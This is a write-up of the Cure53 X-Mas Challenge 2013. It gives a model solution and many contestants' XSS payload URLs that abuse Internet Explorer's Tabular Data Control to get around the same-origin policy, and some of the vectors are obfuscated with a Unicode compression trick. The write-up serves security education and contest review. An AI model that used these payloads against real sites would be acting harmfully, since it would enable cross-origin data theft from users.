-
Notifications
You must be signed in to change notification settings - Fork 221
Cure53 X Mas Challenge '13
This is the write-up for the Cure53 X-Mas Challenge 2013. The task of this challenge was to inject some HTML into a vulnerable site, bypass a naive filter while doing so and use the injected code to bypass the SOP and fetch data from a different domain. Nothing easier than that right? Well - if you know how than it actually is quite easy :)
Over the course of the challenge, numerous hints were given out. Let's have a look at the most important ones!
- The HTTP headers would send MSIE into IE10 document-mode - might be it's an IE challenge?
- The HTTP headers said
X-ACDC Cos I'm T.N.T. I'm Dynamite T.D.T. And I'll win the fight T.N.C. I'm a power-load Uaaaaaaaaah!
T? D? C? - An image was published. Here. It was a classic riddle resolving to Tab + Angular + Data + Control. So many people thought the challenge has to do with AngularJS. And hell did we laugh. Oh my :D
- A tweet was pushed, saying
'm'+(!!''+'')[003]+0x81b9c
- which is JavaScript, once executed pointing directly at the ID of an MSDN site describing TDC
So, if it wasn't clear by now: you were supposed to use the Tabular Data Control available in older document-modes of Internet Explorer :) This feature is amazing and allows you to grab data from arbitrary domains - as long as the first bytes of the response body of the requested data contain a certain character sequence that permits the access. Check the docs - it's fairly easy to implement and test. Alright!
We created a model solution too - which you can see here. It's not optimized in any way but shows quite clearly how everything worked. For those slightly slower ones amongst our fellow readers: The code is annotated a bit to describe what it does! Yay!
<meta http-equiv="X-UA-Compatible" content="IE=10"> // IE10 document mode or older <OBJECT id="elem_list" CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> // A TDC via <object> - with an ID to reference it later <PARAM NAME="DataURL" VALUE="https://heideri.ch/data?santa=@!allow_domains=cure53.de"> // Our data source - we inject the domain permission via GET "santa" <PARAM NAME="UseHeader" VALUE="True"><PARAM NAME="CharSet" VALUE="UTF-7"> // The interesting data is in UTF7! Those bastards! </OBJECT> <TABLE ID="elemtbl" datasrc="#elem_list" dataformatas="html"> // A table to host our data - referencing our TDC shown above <TD> <SPAN DATAFLD="hello kitty its xmas now GET your presents from santa" dataformatas="html"></SPAN> // And a span to host the actual row(s) - which are titled with the string you can see in "datafld" </TD> </TABLE>
Now let have a look at the submissions we received over the past weeks. Each and every single one is impressive - but the further you scroll down, the better it gets. Thanks to all those who participated - we learned a lot of new things by just reading what you submitted - and we hope it was at least the same for you :)
Mauro entered the challenge quite late but submitted interesting payloads! The discovery of the move() method saved him a lot of characters in the end - very nice trick!
https://cure53.de/xmas2013/?xss=<object classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83><param name=DataURL value=//0e.vc><param name=CharSet value=utf-7></object><Svg onload=eval(URL)#\u2028setTimeout('x=document.getElementsByTagName("object")[0];z=x.recordset;z.absoluteposition=111;alert(z.fields.item("Column1").value.match("<h1>(.*)</h1>")[1])',9999) https://cure53.de/xmas2013/?xss=<object ondataavailable="z=this.recordset;z.move(110);alert(/~w.*!!/.exec(z.fields(0).value))" classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83><param name=DataURL value=//0e.vc><param name=CharSet value=utf-7> https://cure53.de/xmas2013/?xss=<object ondataavailable=z=this.recordset;z.move(110);alert(/~w.*!!/.exec(z.fields(0).value)) classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83><param name=DataURL value=//0e.vc><param name=CharSet value=utf-7 https://cure53.de/xmas2013/?xss=<object onrowenter=if(z=/~w.*!!/.exec(recordset.getString))alert(z) classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83><param name=DataURL value=//0e.vc><param name=CharSet value=utf-7
Bart started with a brutal submission! I think it even violated the RFC for maximum text length in common emails. But then he found another technique and shortened it down to a very impressive level. Not enough to claim place number one but pretty darn good! His submissions developed a lot over the course of the challenge.
https://cure53.de/xmas2013/?xss=<svg onload='d="ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInAiKVswXS5pbm5lckhUTUw9IjxPQkpFQ1QgaWQ9YiBDTEFTU0lEPSdjbHNpZDozMzNDN0JDNC00NjBGLTExRDAtQkMwNC0wMDgwQzcwNTVBODMnPjxQQVJBTSBOQU1FPSdEYXRhVVJMJyBWQUxVRT0naHR0cHM6Ly9oZWlkZXJpLmNoL2RhdGE/c2FudGE9QCFhbGxvd19kb21haW5zPWN1cmU1My5kZSc@PFBBUkFNIE5BTUU9J0NoYXJTZXQnIFZBTFVFPSd1dGYtNyc@PC9PQkpFQ1Q@PFRBQkxFIGRhdGFzcmM9I2IgaWQ9Yz48VEJPRFk@PFRSPjxURD48RElWIGRhdGFmbGQ9J0NvbHVtbjEnPjwvRElWPjwvVEQ@PC9UUj48L1RCT0RZPjwvVEFCTEU@IjtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7YWxlcnQoYy5pbm5lclRleHQubWF0Y2goLzE@KC4rPyk8LylbMV0pO30sMzAwMCk7Cg==".replace(/@/g,String.fromCharCode(43));eval(atob(d));'/>
https://cure53.de/xmas2013/?xss=<OBJECT id=b CLASSID=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83><table id=c><TD><div datafld=Column1></td><svg onload='b.DataURL="//heideri.ch/data?santa=@!allow_domains=cure53.de";b.CharSet="utf-7";c.dataSrc="#b";setTimeout(function(){alert(c.innerText.match(/1>(.*?)</)[1])},3e3)' https://cure53.de/xmas2013/?xss=<OBJECT id=b CLASSID=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83><div id=c datafld=Column1><svg onload='b.DataURL="//0e.vc";b.CharSet="utf-7";b.RowDelim="_";c.dataSrc="#b";window.onload=function(){alert(c.innerText.match(/1>(.*?)</)[1])}'
Roman was either busy or bored. But that's okay :) Still a very good submission! He makes use of a table to host the data and later "greps" its innerHTML. Not bad at all - but lots of potential for additional shortening.
https://cure53.de/xmas2013/?xss=<object id=a classid=CLSID:333C7BC4-460F-11D0-BC04-0080C7055A83><table datasrc=%23a><td><a datafld=Column1><svg onload=a.DataURL=links[1]%2b'?santa=@!allow_domains='%2bdomain;a.CharSet='UTF-7';alert(a.innerHTML.match(/~.{29}1/)[0])>
That fine sir, by the way the first one who submitted a valid solution, literally gigabytes in size, thought he could trick us into making him the winner by buying a short domain! Can you believe it! We decided to let him go through with it - but also decided to ideally let people know that this trick is okay to use because the rules were a bit vague about that. There's always something with the rules but I think aside from that, things were pretty much okay time. So, everybody was happy in the end :)
Freddy was in the lead for a rather long time! And his final submission uses quite an amazing technique. For some time we thought he'd win the challenge. For some time.
https://cure53.de/xmas2013/?xss=<OBJECT id="e" CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <PARAM NAME="DataURL" VALUE="https://heideri.ch/data"> <PARAM NAME="UseHeader" VALUE="False"><PARAM NAME="CharSet" VALUE="utf-7" /> </OBJECT> <table datasrc=%23e><TD><DIV datafld="Column1"></DIV></TD></TABLE> <svg/onload=l=document.getElementsByTagName("div");alert(l[111].innerHTML.substr(110883,32))>
https://cure53.de/xmas2013/?xss=<OBJECT id="e" CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <PARAM NAME="DataURL" VALUE="https://heideri.ch/data?santa=@!allow_domains=cure53.de;"> <PARAM NAME="UseHeader" VALUE="False"><PARAM NAME="CharSet" VALUE="utf-7"/> </OBJECT><table datasrc=%23e><TD><DIV datafld="Column1"></DIV></TD></TABLE> <svg/onload=setTimeout('alert(document.body.innerHTML.substr(document.body.innerHTML.search(/w00/.source)-1,31))',3000);>
https://cure53.de/xmas2013/?xss=<OBJECT id=e CLASSID=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83><PARAM NAME=DataURL VALUE=https://heideri.ch/data?santa=@!allow_domains=cure53.de><PARAM NAME=UseHeader VALUE=False><PARAM NAME=CharSet VALUE=utf-7 /></OBJECT><table datasrc=%23e><TD><DIV datafld=Column1></DIV></TD></TABLE><svg/onload=setTimeout('alert(document.body.innerHTML.substr(document.body.innerHTML.search(/w00/.source)-1,31))',3e3)>
https://cure53.de/xmas2013/?xss=<OBJECT id=e CLASSID=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83><PARAM NAME=DataURL VALUE=https://heideri.ch/data?santa=@!allow_domains=cure53.de><PARAM NAME=UseHeader VALUE=0><PARAM NAME=CharSet VALUE=utf-7 /></OBJECT><table id=x datasrc=%23e><TD><DIV datafld=Column1></TABLE><svg/onload=setTimeout('alert(x.innerHTML.substr(150836,31))',3e3)>
https://cure53.de/xmas2013/?xss=<OBJECT id=e CLASSID=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83><PARAM NAME=DataURL VALUE=//j.mp/ZqXsfsd><PARAM NAME=UseHeader VALUE=0><PARAM NAME=CharSet VALUE=utf-7><table id=x datasrc=%23e><TD><DIV datafld=Column1></TABLE><svg/onload=setTimeout('alert(x.innerHTML.substr(150836,31))',5e3)>
https://cure53.de/xmas2013/?xss=<OBJECT id=a CLASSID=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83 ondatasetcomplete=alert(/~\S*!1/.exec(recordset.GetString()))><svg/onload=a.DataURL='//0e.vc';a.CharSet='utf-7'
Pepe came in strong with a very short submission and then didn't stop reducing characters for days! Ding new email - 90% chance it from him :) He was the first one to find out about the weird behavior of the GetString() method - figuring out that this thing is not from the JavaScript realm at all and doesn't even need parenthesis to be executed! That was an amazing find to say the least.
https://cure53.de/xmas2013/?xss=<object+id=x+classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83+ondatasetcomplete=recordset.move(110),alert(y.innerHTML.match(/(AD.*)-/)[1]).replace(/\0/g,''))><param value="//heideri.ch/data?santa=@!allow_domains=cure53.de"name=DataURL><div+id=y+datasrc=%23x+datafld=Column1
https://cure53.de/xmas2013/?xss=<object+id=x+classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83+ondatasetcomplete=alert(atob(/(AD.*)-/.exec(recordset.GetString())[1]).split('\0'))><param+value="//heideri.ch/data?santa=@!allow_domains=cure53.de"name=DataURL
https://cure53.de/xmas2013/?xss=<object+classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83+onrowenter=alert(atob(/fg.*QA/.exec(recordset.GetString())[0]).replace(/\0/g,''))><param+value="//heideri.ch/data?santa=@!allow_domains=cure53.de"name=DataURL
https://cure53.de/xmas2013/?xss=<object+classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83+onrowenter=alert(atob(/fg.*QA/.exec(recordset.GetString())[0]).replace(/\0/g,''))><param+value=//0e.vc+name=DataURL
https://cure53.de/xmas2013/?xss=<object+classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83+onrowenter=alert(atob(/fg.*QA/.exec(recordset.GetString)[0]).replace(/\0/g,''))><param+value=//0e.vc+name=DataURL
Our feline friend from Berlin entered the challenge rather late - but submitted brilliant vectors as usual. He developed his payload from a 217 characters to an amazing 162. This got him into lead position for quite some time! His onerror technique turned out to be extremely effective and space-saving. And now he claimed himself the silver medal. Congratulations, sir!
https://cure53.de/xmas2013/?xss=<OBJECT id=B CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"></OBJECT><SCRIPT>B.DataURL="https://0e.vc";B.CharSet="utf-7";B.reset();setTimeout('alert(B.recordset.GetString().match(/>(~.%2B?)</)[1])',2000)</SCRIPT>
https://cure53.de/xmas2013/?xss=<OBJECT id=B CLASSID=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83></OBJECT><SCRIPT>B.DataURL="//0e.vc";B.CharSet="utf-7";B.reset();setTimeout('alert(B.recordset.GetString().match(/~w.%2B!1/g))',2e3)</SCRIPT>
https://cure53.de/xmas2013/?xss=<body onload="B.DataURL='//0e.vc';B.CharSet='utf-7';B.reset();setTimeout('alert(B.recordset.GetString().match(/~w.%2B!1/g))',2e3)"><OBJECT id=B classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83>
https://cure53.de/xmas2013/?xss=<OBJECT onerror="classid='clsid:333C7BC4-460F-11D0-BC04-0080C7055A83';DataURL='//0e.vc';CharSet='utf-7'" ondatasetcomplete=alert(recordset.GetString.match(/~w.%2B!1/g))>
https://cure53.de/xmas2013/?xss=<OBJECT ondatasetcomplete=alert(/~w.*!1/.exec(recordset.GetString)) onerror=classid='clsid:333C7BC4-460F-11D0-BC04-0080C7055A83';DataURL='//0e.vc';CharSet='utf-7'>
https://cure53.de/xmas2013/?xss=<OBJECT ondatasetcomplete=alert(/~w.*!1/.exec(recordset.GetString)) onerror=classid='clsid:333C7BC4-460F-11D0-BC04-0080C7055A83';DataURL='//0e.vc';CharSet='utf-7'
The person going by the nom de guerre "Masato Kinugawa" won the Cure53 X-Mas challenge 2013. There is no doubt about that at all! While his initial technique was brilliant, the winning part came with the compression technique he used. Note that this can be applied to almost any other context in JavaScript. Well, at least on IE! His first submissions were uncompressed - but at some point he kept sending us things that were like... not from this world and required us to have a very close look at what is happening. You will know when the compression technique is being used by simply watching the vectors. We will elaborate on that further down the page.
https://cure53.de/xmas2013?xss=<body onload=a=e.recordset;a.move(110);alert(a(0).value.match(/~w[^<]*/))><object id=e classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83><param name=dataurl value=//heideri.ch/data?santa=@!allow_domains=cure53.de><param name=charset value=utf-7
https://cure53.de/xmas2013?xss=<body onload=a=e.recordset;a.move(110);alert(/~w[^<]*/.exec(e%2Ba(0)))><object id=e classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83><param name=dataurl value=//heideri.ch/data?santa=@!allow_domains=cure53.de><param name=charset value=utf-7
https://cure53.de/xmas2013/?xss=<body onload=a=e.recordset;alert(/~w.*!1/.exec(a.move(110)%2Ba(0)))><object id=e classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83><param name=dataurl value=//heideri.ch/data?santa=@!allow_domains=cure53.de><param name=charset value=utf-7
https://cure53.de/xmas2013/?xss=<object classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83 ondataavailable=a=recordset;alert(/~w.*!1/.exec(a.move(110)%2Ba(0)))><param name=dataurl value=//heideri.ch/data?santa=@!allow_domains=cure53.de><param name=charset value=utf-7
https://cure53.de/xmas2013/?xss=<body onload=e.dataurl='//heideri.ch/data?santa=@!allow_domains=cure53.de';e.charset='utf-7';e.rowdelim=0;e.reset()><object id=e classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83 onrowenter=alert(/~w.*!1/.exec(0%2Brecordset(0)))
https://cure53.de/xmas2013/?xss=<object id=e classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83 onrowenter=charset='utf-7';alert(/~w.*!1/.exec(recordset(rowdelim=0)%2Breset()))><svg onload=e.dataurl=all[28].href%2B'?santa=@!allow_domains=cure53.de'
https://cure53.de/xmas2013/?xss=<object id=e classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83 onrowenter=charset='utf-7';alert(/~w.*!1/.exec(recordset(rowdelim=0)%2Breset()))><svg onload=e.dataurl=all[28]%2B'?santa=@!allow_domains=cure53.de'
Starting with the next submission, things were getting crazy. Masato developed a Unicode-based compression technique to store two characters in one. Given that the challenge counts characters and not bytes, this is perfectly valid and let to a sequence of submissions of which the final one ultimately won the challenge! Look, he for example uses the character 㱯 and simply rips it apart into <
and o
- this is so hard to beat!
To allow you to find out easily, what exactly he did, we will show you both the original submission and the decoded version. You are welcome :)
https://cure53.de/xmas2013/?xss=<scriPt>document.write(unescape(escape(location).replace(/u(..)/g,'$1%')))<\/scriPt>㱯扪散琠楤㵥污獳楤㵣汳楤㨳㌳䌷䉃㐭㐶うⴱㅄ〭䉃〴ⴰ〸ぃ㜰㔵䄸㌠潮牯睥湴敲㵡汥牴⠯繷⸪ℱ⼮數散⡲散潲摳整⠰⤩⤾㱳癧湬潡搽攮摡瑡畲氽慬汛攮牯睤敬業㴳㍝⬧㽳慮瑡㵀Ⅱ汬潷彤潭慩湳㴧⭤潭慩渻攮捨慲獥琽❵瑦ⴷ✾
What really happened: <object id=e classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83 onrowenter=alert(/~w.*!1/.exec(recordset(0)))><svg onload=e.dataurl=all[e.rowdelim=33]+'?santa=@!allow_domains='+domain;e.charset='utf-7'>
https://cure53.de/xmas2013/?xss=㱯扪散琠楤㵥污獳楤㵣汳楤㨳㌳䌷䉃㐭㐶うⴱㅄ〭䉃〴ⴰ〸ぃ㜰㔵䄸㌠潮牯睥湴敲㵡汥牴⠯繷⸪ℱ⼮數散⡲散潲摳整⠰⤩⤾<svg 潮汯慤㵥慴慵牬㵡汬孥潷摥汩洽㌲崫∿獡湴愽䀡慬汯睟摯浡楮猽∫摯浡楮㭥桡牳整㴢畴昭㜢㭥散潲摳整㹸 onload=head.innerHTML=unescape(escape(URL).replace(/u(..)/g,'$1%'))
What really happened: <object id=e classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83 onrowenter=alert(/~w.*!1/.exec(recordset(0)))><svg onload=e.dataurl=all[e.rowdelim=32]+"?santa=@!allow_domains="+domain;e.charset="utf-7";e.recordset>x
https://cure53.de/xmas2013/?xss=㱯扪散琠楤㵥污獳楤㵣汳楤㨳㌳䌷䉃㐭㐶うⴱㅄ〭䉃〴ⴰ〸ぃ㜰㔵䄸㌠潮牯睥湴敲㵡汥牴⠯繷⸪ℱ⼮數散⡲散潲摳整⠰⤩⤾<svg 潮汯慤㵥潷摥汩洽攮摡瑡畲氽✁⼯樮浰⼱晰呖㙺✻攮捨慲獥琽❵瑦ⴷ✻攮牥捯牤獥琾 onload=head.innerHTML=unescape(escape(URL).replace(/u(..)/g,'$1%'))
What really happened: <object id=e classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83 onrowenter=alert(/~w.*!1/.exec(recordset(0)))><svg onload=e.rowdelim=e.dataurl='//j.mp/1fpTV6z';e.charset='utf-7';e.recordset>
https://cure53.de/xmas2013/?xss=<object 潮敲牯爽捬慳獩搽❣汳楤㨳㌳䌷䉃㐭㐶うⴱㅄ〭䉃〴ⴰ〸ぃ㜰㔵䄸㌧㭲潷摥汩洽摡瑡畲氽✁⼯樮浰⼱晰呖㙺✻捨慲獥琽❵瑦ⴷ✻獥瑉湴敲癡氨❡汥牴⠯繷⸪ℱ⼮數散⡥散潲摳整⠰⤩⤧⤠楤㵥㹸 onerror=outerHTML=unescape(escape(URL).replace(/u(..)/g,'$1%'))
What really happened: onerror=classid='clsid:333C7BC4-460F-11D0-BC04-0080C7055A83';rowdelim=dataurl='//j.mp/1fpTV6z';charset='utf-7';setInterval('alert(/~w.*!1/.exec(e.recordset(0)))') id=e>x
And here is the final winning vector! 156 characters in length. And guess what! In theory, it can still be beaten :) We shall leave that as an exercise for the fellow reader.
https://cure53.de/xmas2013/?xss=<object 潮敲牯爽捬慳獩搽❣汳楤㨳㌳䌷䉃㐭㐶うⴱㅄ〭䉃〴ⴰ〸ぃ㜰㔵䄸㌧㭤慴慵牬㴧⼯樮浰⼱晰呖㙺✻捨慲獥琽❵瑦ⴷ✻牯睤敬業㵳整䥮瑥牶慬⠧慬敲琨⽾眮⨡ㄯ硥挨攮牥捯牤獥琨〩⤩✩搽放 onerror=outerHTML=unescape(escape(URL).replace(/u(..)/g,'$1%'))
What really happened:
onerror=classid='clsid:333C7BC4-460F-11D0-BC04-0080C7055A83';dataurl='//j.mp/1fpTV6z';charset='utf-7';rowdelim=setInterval('alert(/~w.*!1/.exec(e.recordset(0)))') id=e>
Our winner, and it is quite clear who that is, has earned himself 1.000€ EUR - we will get in contact over the next days and see how best to transfer the money. Our second winner, @thewildcat will receive books or a book voucher worth 150$ USD - a lot of thing to read over the next weeks. Thanks so much to our generous sponsors who decided to donate and make the challenge unique! You guys, @mmrupp, @gunther_ar, @secalert and @JosipFranjkovic, you are awesome! Thanks a lot also to the good Cure53 folks who had a look at the challenge before it was released and couldn't participate for that reason!
Now, what is the story behind the challenge, why did we do all this? Well, there is one important message we tried to get across. And that is: when the attacker manages to control the first bytes or a HTTP response body - even if the characters are not among the ones known to be dangerous - then the SOP most likely is no longer! So - if you are a pen-tester and run into this situation then remember TDC and remember what can be done with it and score another critical! As a developer? Make sure the attacker can never ever control the very first bytes. TDC is one risk - a big one too - but there are others. So keep in mind: the first bytes are important. Who controls the first bytes controls the SOP.
So that was it, let us know if you liked the challenge and the write-up or if anything is unclear or missing. So long, we hope it was fun!